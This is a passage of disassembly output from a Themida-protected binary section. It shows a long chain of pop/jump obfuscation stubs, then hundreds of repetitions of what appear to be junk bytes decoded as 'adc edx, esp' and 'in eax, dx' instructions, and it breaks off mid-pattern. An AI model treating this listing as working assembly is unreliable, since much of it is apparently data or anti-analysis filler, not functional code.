loc_60251B: ; CODE XREF: Themida_:006024C4j
pop ecx
jmp short loc_602573
; ---------------------------------------------------------------------------
pop ebx
loc_60251F: ; CODE XREF: Themida_:006024C8j
pop ecx
jmp short loc_602577
; ---------------------------------------------------------------------------
pop ebx
loc_602523: ; CODE XREF: Themida_:006024CCj
pop ecx
jmp short loc_60257B
; ---------------------------------------------------------------------------
pop ebx
loc_602527: ; CODE XREF: Themida_:006024D0j
pop ecx
jmp short loc_60257F
; ---------------------------------------------------------------------------
pop ebx
loc_60252B: ; CODE XREF: Themida_:006024D4j
pop ecx
jmp short loc_602583
; ---------------------------------------------------------------------------
pop ebx
loc_60252F: ; CODE XREF: Themida_:006024D8j
pop ecx
jmp short loc_602587
; ---------------------------------------------------------------------------
pop ebx
loc_602533: ; CODE XREF: Themida_:006024DCj
pop ecx
jmp short loc_60258B
; ---------------------------------------------------------------------------
pop ebx
loc_602537: ; CODE XREF: Themida_:006024E0j
pop ecx
jmp short loc_60258F
; ---------------------------------------------------------------------------
pop ebx
loc_60253B: ; CODE XREF: Themida_:006024E4j
pop ecx
jmp short loc_602593
; ---------------------------------------------------------------------------
pop ebx
loc_60253F: ; CODE XREF: Themida_:006024E8j
pop ecx
jmp short loc_602597
; ---------------------------------------------------------------------------
pop ebx
loc_602543: ; CODE XREF: Themida_:006024ECj
pop ecx
jmp short loc_60259B
; ---------------------------------------------------------------------------
pop ebx
loc_602547: ; CODE XREF: Themida_:006024F0j
pop ecx
jmp short loc_60259F
; ---------------------------------------------------------------------------
pop ebx
loc_60254B: ; CODE XREF: Themida_:006024F4j
pop ecx
jmp short loc_6025A3
; ---------------------------------------------------------------------------
pop ebx
loc_60254F: ; CODE XREF: Themida_:006024F8j
pop ecx
jmp short loc_6025A7
; ---------------------------------------------------------------------------
pop ebx
loc_602553: ; CODE XREF: Themida_:006024FCj
pop ecx
jmp short loc_6025AB
; ---------------------------------------------------------------------------
pop ebx
loc_602557: ; CODE XREF: Themida_:00602500j
pop ecx
jmp short loc_6025AF
; ---------------------------------------------------------------------------
pop ebx
loc_60255B: ; CODE XREF: Themida_:00602504j
pop ecx
jmp short loc_6025B3
; ---------------------------------------------------------------------------
pop ebx
loc_60255F: ; CODE XREF: Themida_:00602508j
pop ecx
jmp short loc_6025B7
; ---------------------------------------------------------------------------
pop ebx
loc_602563: ; CODE XREF: Themida_:0060250Cj
pop ecx
jmp short loc_6025BB
; ---------------------------------------------------------------------------
pop ebx
loc_602567: ; CODE XREF: Themida_:00602510j
pop ecx
jmp short loc_6025BF
; ---------------------------------------------------------------------------
pop ebx
loc_60256B: ; CODE XREF: Themida_:00602514j
pop ecx
jmp short loc_6025C3
; ---------------------------------------------------------------------------
pop ebx
loc_60256F: ; CODE XREF: Themida_:00602518j
pop ecx
jmp short loc_6025C7
; ---------------------------------------------------------------------------
pop ebx
loc_602573: ; CODE XREF: Themida_:0060251Cj
pop ecx
jmp short loc_6025CB
; ---------------------------------------------------------------------------
pop ebx
loc_602577: ; CODE XREF: Themida_:00602520j
pop ecx
jmp short loc_6025CF
; ---------------------------------------------------------------------------
pop ebx
loc_60257B: ; CODE XREF: Themida_:00602524j
pop ecx
jmp short loc_6025D3
; ---------------------------------------------------------------------------
pop ebx
loc_60257F: ; CODE XREF: Themida_:00602528j
pop ecx
jmp short loc_6025D7
; ---------------------------------------------------------------------------
pop ebx
loc_602583: ; CODE XREF: Themida_:0060252Cj
pop ecx
jmp short loc_6025DB
; ---------------------------------------------------------------------------
pop ebx
loc_602587: ; CODE XREF: Themida_:00602530j
pop ecx
jmp short loc_6025DF
; ---------------------------------------------------------------------------
pop ebx
loc_60258B: ; CODE XREF: Themida_:00602534j
pop ecx
jmp short loc_6025E3
; ---------------------------------------------------------------------------
pop ebx
loc_60258F: ; CODE XREF: Themida_:00602538j
pop ecx
jmp short loc_6025E7
; ---------------------------------------------------------------------------
pop ebx
loc_602593: ; CODE XREF: Themida_:0060253Cj
pop ecx
jmp short loc_6025EB
; ---------------------------------------------------------------------------
pop ebx
loc_602597: ; CODE XREF: Themida_:00602540j
pop ecx
jmp short loc_6025EF
; ---------------------------------------------------------------------------
pop ebx
loc_60259B: ; CODE XREF: Themida_:00602544j
pop ecx
jmp short loc_6025F3
; ---------------------------------------------------------------------------
pop ebx
loc_60259F: ; CODE XREF: Themida_:00602548j
pop ecx
jmp short loc_6025F7
; ---------------------------------------------------------------------------
pop ebx
loc_6025A3: ; CODE XREF: Themida_:0060254Cj
pop ecx
jmp short loc_6025FB
; ---------------------------------------------------------------------------
pop ebx
loc_6025A7: ; CODE XREF: Themida_:00602550j
pop ecx
jmp short loc_6025FF
; ---------------------------------------------------------------------------
pop ebx
loc_6025AB: ; CODE XREF: Themida_:00602554j
pop ecx
jmp short loc_602603
; ---------------------------------------------------------------------------
pop ebx
loc_6025AF: ; CODE XREF: Themida_:00602558j
pop ecx
jmp short loc_602607
; ---------------------------------------------------------------------------
pop ebx
loc_6025B3: ; CODE XREF: Themida_:0060255Cj
pop ecx
jmp short loc_60260B
; ---------------------------------------------------------------------------
pop ebx
loc_6025B7: ; CODE XREF: Themida_:00602560j
pop ecx
jmp short loc_60260F
; ---------------------------------------------------------------------------
pop ebx
loc_6025BB: ; CODE XREF: Themida_:00602564j
pop ecx
jmp short loc_602613
; ---------------------------------------------------------------------------
pop ebx
loc_6025BF: ; CODE XREF: Themida_:00602568j
pop ecx
jmp short loc_602617
; ---------------------------------------------------------------------------
pop ebx
loc_6025C3: ; CODE XREF: Themida_:0060256Cj
pop ecx
jmp short loc_60261B
; ---------------------------------------------------------------------------
pop ebx
loc_6025C7: ; CODE XREF: Themida_:00602570j
pop ecx
jmp short loc_60261F
; ---------------------------------------------------------------------------
pop ebx
loc_6025CB: ; CODE XREF: Themida_:00602574j
pop ecx
jmp short loc_602623
; ---------------------------------------------------------------------------
pop ebx
loc_6025CF: ; CODE XREF: Themida_:00602578j
pop ecx
jmp short loc_602627
; ---------------------------------------------------------------------------
pop ebx
loc_6025D3: ; CODE XREF: Themida_:0060257Cj
pop ecx
jmp short loc_60262B
; ---------------------------------------------------------------------------
pop ebx
loc_6025D7: ; CODE XREF: Themida_:00602580j
pop ecx
jmp short loc_60262F
; ---------------------------------------------------------------------------
pop ebx
loc_6025DB: ; CODE XREF: Themida_:00602584j
pop ecx
jmp short loc_602633
; ---------------------------------------------------------------------------
pop ebx
loc_6025DF: ; CODE XREF: Themida_:00602588j
pop ecx
jmp short loc_602637
; ---------------------------------------------------------------------------
pop ebx
loc_6025E3: ; CODE XREF: Themida_:0060258Cj
pop ecx
jmp short loc_60263B
; ---------------------------------------------------------------------------
pop ebx
loc_6025E7: ; CODE XREF: Themida_:00602590j
pop ecx
jmp short loc_60263F
; ---------------------------------------------------------------------------
pop ebx
loc_6025EB: ; CODE XREF: Themida_:00602594j
pop ecx
jmp short loc_602643
; ---------------------------------------------------------------------------
pop ebx
loc_6025EF: ; CODE XREF: Themida_:00602598j
pop ecx
jmp short loc_602647
; ---------------------------------------------------------------------------
pop ebx
loc_6025F3: ; CODE XREF: Themida_:0060259Cj
pop ecx
jmp short loc_60264B
; ---------------------------------------------------------------------------
pop ebx
loc_6025F7: ; CODE XREF: Themida_:006025A0j
pop ecx
jmp short loc_60264F
; ---------------------------------------------------------------------------
pop ebx
loc_6025FB: ; CODE XREF: Themida_:006025A4j
pop ecx
jmp short loc_602653
; ---------------------------------------------------------------------------
pop ebx
loc_6025FF: ; CODE XREF: Themida_:006025A8j
pop ecx
jmp short loc_602657
; ---------------------------------------------------------------------------
pop ebx
loc_602603: ; CODE XREF: Themida_:006025ACj
pop ecx
jmp short loc_60265B
; ---------------------------------------------------------------------------
pop ebx
loc_602607: ; CODE XREF: Themida_:006025B0j
pop ecx
jmp short loc_60265F
; ---------------------------------------------------------------------------
pop ebx
loc_60260B: ; CODE XREF: Themida_:006025B4j
pop ecx
jmp short loc_602663
; ---------------------------------------------------------------------------
pop ebx
loc_60260F: ; CODE XREF: Themida_:006025B8j
pop ecx
jmp short loc_602667
; ---------------------------------------------------------------------------
pop ebx
loc_602613: ; CODE XREF: Themida_:006025BCj
pop ecx
jmp short loc_60266B
; ---------------------------------------------------------------------------
pop ebx
loc_602617: ; CODE XREF: Themida_:006025C0j
pop ecx
jmp short loc_60266F
; ---------------------------------------------------------------------------
pop ebx
loc_60261B: ; CODE XREF: Themida_:006025C4j
pop ecx
jmp short loc_602673
; ---------------------------------------------------------------------------
pop ebx
loc_60261F: ; CODE XREF: Themida_:006025C8j
pop ecx
jmp short loc_602677
; ---------------------------------------------------------------------------
pop ebx
loc_602623: ; CODE XREF: Themida_:006025CCj
pop ecx
jmp short loc_60267B
; ---------------------------------------------------------------------------
pop ebx
loc_602627: ; CODE XREF: Themida_:006025D0j
pop ecx
jmp short loc_60267F
; ---------------------------------------------------------------------------
pop ebx
loc_60262B: ; CODE XREF: Themida_:006025D4j
pop ecx
jmp short loc_602683
; ---------------------------------------------------------------------------
pop ebx
loc_60262F: ; CODE XREF: Themida_:006025D8j
pop ecx
jmp short loc_602687
; ---------------------------------------------------------------------------
pop ebx
loc_602633: ; CODE XREF: Themida_:006025DCj
pop ecx
jmp short loc_60268B
; ---------------------------------------------------------------------------
pop ebx
loc_602637: ; CODE XREF: Themida_:006025E0j
pop ecx
jmp short loc_60268F
; ---------------------------------------------------------------------------
pop ebx
loc_60263B: ; CODE XREF: Themida_:006025E4j
pop ecx
jmp short loc_602693
; ---------------------------------------------------------------------------
pop ebx
loc_60263F: ; CODE XREF: Themida_:006025E8j
pop ecx
jmp short loc_602697
; ---------------------------------------------------------------------------
pop ebx
loc_602643: ; CODE XREF: Themida_:006025ECj
pop ecx
jmp short loc_60269B
; ---------------------------------------------------------------------------
pop ebx
loc_602647: ; CODE XREF: Themida_:006025F0j
pop ecx
jmp short loc_60269F
; ---------------------------------------------------------------------------
pop ebx
loc_60264B: ; CODE XREF: Themida_:006025F4j
pop ecx
jmp short loc_6026A3
; ---------------------------------------------------------------------------
pop ebx
loc_60264F: ; CODE XREF: Themida_:006025F8j
pop ecx
jmp short loc_6026A7
; ---------------------------------------------------------------------------
pop ebx
loc_602653: ; CODE XREF: Themida_:006025FCj
pop ecx
jmp short loc_6026AB
; ---------------------------------------------------------------------------
pop ebx
loc_602657: ; CODE XREF: Themida_:00602600j
pop ecx
jmp short loc_6026AF
; ---------------------------------------------------------------------------
pop ebx
loc_60265B: ; CODE XREF: Themida_:00602604j
pop ecx
jmp short loc_6026B3
; ---------------------------------------------------------------------------
pop ebx
loc_60265F: ; CODE XREF: Themida_:00602608j
pop ecx
jmp short loc_6026B7
; ---------------------------------------------------------------------------
pop ebx
loc_602663: ; CODE XREF: Themida_:0060260Cj
pop ecx
jmp short loc_6026BB
; ---------------------------------------------------------------------------
pop ebx
loc_602667: ; CODE XREF: Themida_:00602610j
pop ecx
jmp short loc_6026BF
; ---------------------------------------------------------------------------
pop ebx
loc_60266B: ; CODE XREF: Themida_:00602614j
pop ecx
jmp short loc_6026C3
; ---------------------------------------------------------------------------
pop ebx
loc_60266F: ; CODE XREF: Themida_:00602618j
pop ecx
jmp short loc_6026C7
; ---------------------------------------------------------------------------
pop ebx
loc_602673: ; CODE XREF: Themida_:0060261Cj
pop ecx
jmp short loc_6026CB
; ---------------------------------------------------------------------------
pop ebx
loc_602677: ; CODE XREF: Themida_:00602620j
pop ecx
jmp short loc_6026CF
; ---------------------------------------------------------------------------
pop ebx
loc_60267B: ; CODE XREF: Themida_:00602624j
pop ecx
jmp short loc_6026D3
; ---------------------------------------------------------------------------
pop ebx
loc_60267F: ; CODE XREF: Themida_:00602628j
pop ecx
jmp short loc_6026D7
; ---------------------------------------------------------------------------
pop ebx
loc_602683: ; CODE XREF: Themida_:0060262Cj
pop ecx
jmp short loc_6026DB
; ---------------------------------------------------------------------------
pop ebx
loc_602687: ; CODE XREF: Themida_:00602630j
pop ecx
jmp short loc_6026DF
; ---------------------------------------------------------------------------
pop ebx
loc_60268B: ; CODE XREF: Themida_:00602634j
pop ecx
jmp short loc_6026E3
; ---------------------------------------------------------------------------
pop ebx
loc_60268F: ; CODE XREF: Themida_:00602638j
pop ecx
jmp short loc_6026E7
; ---------------------------------------------------------------------------
pop ebx
loc_602693: ; CODE XREF: Themida_:0060263Cj
pop ecx
jmp short loc_6026EB
; ---------------------------------------------------------------------------
pop ebx
loc_602697: ; CODE XREF: Themida_:00602640j
pop ecx
jmp short loc_6026EF
; ---------------------------------------------------------------------------
pop ebx
loc_60269B: ; CODE XREF: Themida_:00602644j
pop ecx
jmp short loc_6026F3
; ---------------------------------------------------------------------------
pop ebx
loc_60269F: ; CODE XREF: Themida_:00602648j
pop ecx
jmp short loc_6026F7
; ---------------------------------------------------------------------------
pop ebx
loc_6026A3: ; CODE XREF: Themida_:0060264Cj
pop ecx
jmp short loc_6026FB
; ---------------------------------------------------------------------------
pop ebx
loc_6026A7: ; CODE XREF: Themida_:00602650j
pop ecx
jmp short loc_6026FF
; ---------------------------------------------------------------------------
pop ebx
loc_6026AB: ; CODE XREF: Themida_:00602654j
pop ecx
jmp short loc_602703
; ---------------------------------------------------------------------------
pop ebx
loc_6026AF: ; CODE XREF: Themida_:00602658j
pop ecx
jmp short loc_602707
; ---------------------------------------------------------------------------
pop ebx
loc_6026B3: ; CODE XREF: Themida_:0060265Cj
pop ecx
jmp short loc_60270B
; ---------------------------------------------------------------------------
pop ebx
loc_6026B7: ; CODE XREF: Themida_:00602660j
pop ecx
jmp short loc_60270F
; ---------------------------------------------------------------------------
pop ebx
loc_6026BB: ; CODE XREF: Themida_:00602664j
pop ecx
jmp short loc_602713
; ---------------------------------------------------------------------------
pop ebx
loc_6026BF: ; CODE XREF: Themida_:00602668j
pop ecx
jmp short loc_602717
; ---------------------------------------------------------------------------
pop ebx
loc_6026C3: ; CODE XREF: Themida_:0060266Cj
pop ecx
jmp short loc_60271B
; ---------------------------------------------------------------------------
pop ebx
loc_6026C7: ; CODE XREF: Themida_:00602670j
pop ecx
jmp short loc_60271F
; ---------------------------------------------------------------------------
pop ebx
loc_6026CB: ; CODE XREF: Themida_:00602674j
pop ecx
jmp short loc_602723
; ---------------------------------------------------------------------------
pop ebx
loc_6026CF: ; CODE XREF: Themida_:00602678j
pop ecx
jmp short loc_602727
; ---------------------------------------------------------------------------
pop ebx
loc_6026D3: ; CODE XREF: Themida_:0060267Cj
pop ecx
jmp short loc_60272B
; ---------------------------------------------------------------------------
pop ebx
loc_6026D7: ; CODE XREF: Themida_:00602680j
pop ecx
jmp short loc_60272F
; ---------------------------------------------------------------------------
pop ebx
loc_6026DB: ; CODE XREF: Themida_:00602684j
pop ecx
jmp short loc_602733
; ---------------------------------------------------------------------------
pop ebx
loc_6026DF: ; CODE XREF: Themida_:00602688j
pop ecx
jmp short loc_602737
; ---------------------------------------------------------------------------
pop ebx
loc_6026E3: ; CODE XREF: Themida_:0060268Cj
pop ecx
jmp short loc_60273B
; ---------------------------------------------------------------------------
pop ebx
loc_6026E7: ; CODE XREF: Themida_:00602690j
pop ecx
jmp short loc_60273F
; ---------------------------------------------------------------------------
pop ebx
loc_6026EB: ; CODE XREF: Themida_:00602694j
pop ecx
jmp short loc_602743
; ---------------------------------------------------------------------------
pop ebx
loc_6026EF: ; CODE XREF: Themida_:00602698j
pop ecx
jmp short loc_602747
; ---------------------------------------------------------------------------
pop ebx
loc_6026F3: ; CODE XREF: Themida_:0060269Cj
pop ecx
jmp short loc_60274B
; ---------------------------------------------------------------------------
pop ebx
loc_6026F7: ; CODE XREF: Themida_:006026A0j
pop ecx
jmp short loc_60274F
; ---------------------------------------------------------------------------
pop ebx
loc_6026FB: ; CODE XREF: Themida_:006026A4j
pop ecx
loc_6026FC: ; CODE XREF: Themida_:00602718j
jmp short loc_602753
; ---------------------------------------------------------------------------
pop ebx
loc_6026FF: ; CODE XREF: Themida_:006026A8j
pop ecx
jmp short loc_602757
; ---------------------------------------------------------------------------
pop ebx
loc_602703: ; CODE XREF: Themida_:006026ACj
pop ecx
jmp short loc_60275B
; ---------------------------------------------------------------------------
pop ebx
loc_602707: ; CODE XREF: Themida_:006026B0j
pop ecx
jmp short loc_60275F
; ---------------------------------------------------------------------------
pop ebx
loc_60270B: ; CODE XREF: Themida_:006026B4j
pop ecx
jmp short loc_602763
; ---------------------------------------------------------------------------
pop ebx
loc_60270F: ; CODE XREF: Themida_:006026B8j
pop ecx
jmp short loc_602767
; ---------------------------------------------------------------------------
pop ebx
loc_602713: ; CODE XREF: Themida_:006026BCj
pop ecx
jmp short loc_60276B
; ---------------------------------------------------------------------------
pop ebx
loc_602717: ; CODE XREF: Themida_:006026C0j
pop ecx
jmp short loc_6026FC
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
loc_60271B: ; CODE XREF: Themida_:006026C4j
db 67h
adc edx, esp
in eax, dx
loc_60271F: ; CODE XREF: Themida_:006026C8j
db 67h
adc edx, esp
in eax, dx
loc_602723: ; CODE XREF: Themida_:006026CCj
db 67h
adc edx, esp
in eax, dx
loc_602727: ; CODE XREF: Themida_:006026D0j
db 67h
adc edx, esp
in eax, dx
loc_60272B: ; CODE XREF: Themida_:006026D4j
db 67h
adc edx, esp
in eax, dx
loc_60272F: ; CODE XREF: Themida_:006026D8j
db 67h
adc edx, esp
in eax, dx
loc_602733: ; CODE XREF: Themida_:006026DCj
db 67h
adc edx, esp
in eax, dx
loc_602737: ; CODE XREF: Themida_:006026E0j
db 67h
adc edx, esp
in eax, dx
loc_60273B: ; CODE XREF: Themida_:006026E4j
db 67h
adc edx, esp
in eax, dx
loc_60273F: ; CODE XREF: Themida_:006026E8j
db 67h
adc edx, esp
in eax, dx
loc_602743: ; CODE XREF: Themida_:006026ECj
db 67h
adc edx, esp
in eax, dx
loc_602747: ; CODE XREF: Themida_:006026F0j
db 67h
adc edx, esp
in eax, dx
loc_60274B: ; CODE XREF: Themida_:006026F4j
db 67h
adc edx, esp
in eax, dx
loc_60274F: ; CODE XREF: Themida_:006026F8j
db 67h
adc edx, esp
in eax, dx
loc_602753: ; CODE XREF: Themida_:loc_6026FCj
db 67h
adc edx, esp
in eax, dx
loc_602757: ; CODE XREF: Themida_:00602700j
db 67h
adc edx, esp
in eax, dx
loc_60275B: ; CODE XREF: Themida_:00602704j
db 67h
adc edx, esp
in eax, dx
loc_60275F: ; CODE XREF: Themida_:00602708j
db 67h
adc edx, esp
in eax, dx
loc_602763: ; CODE XREF: Themida_:0060270Cj
db 67h
adc edx, esp
in eax, dx
loc_602767: ; CODE XREF: Themida_:00602710j
db 67h
adc edx, esp
in eax, dx
loc_60276B: ; CODE XREF: Themida_:00602714j
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
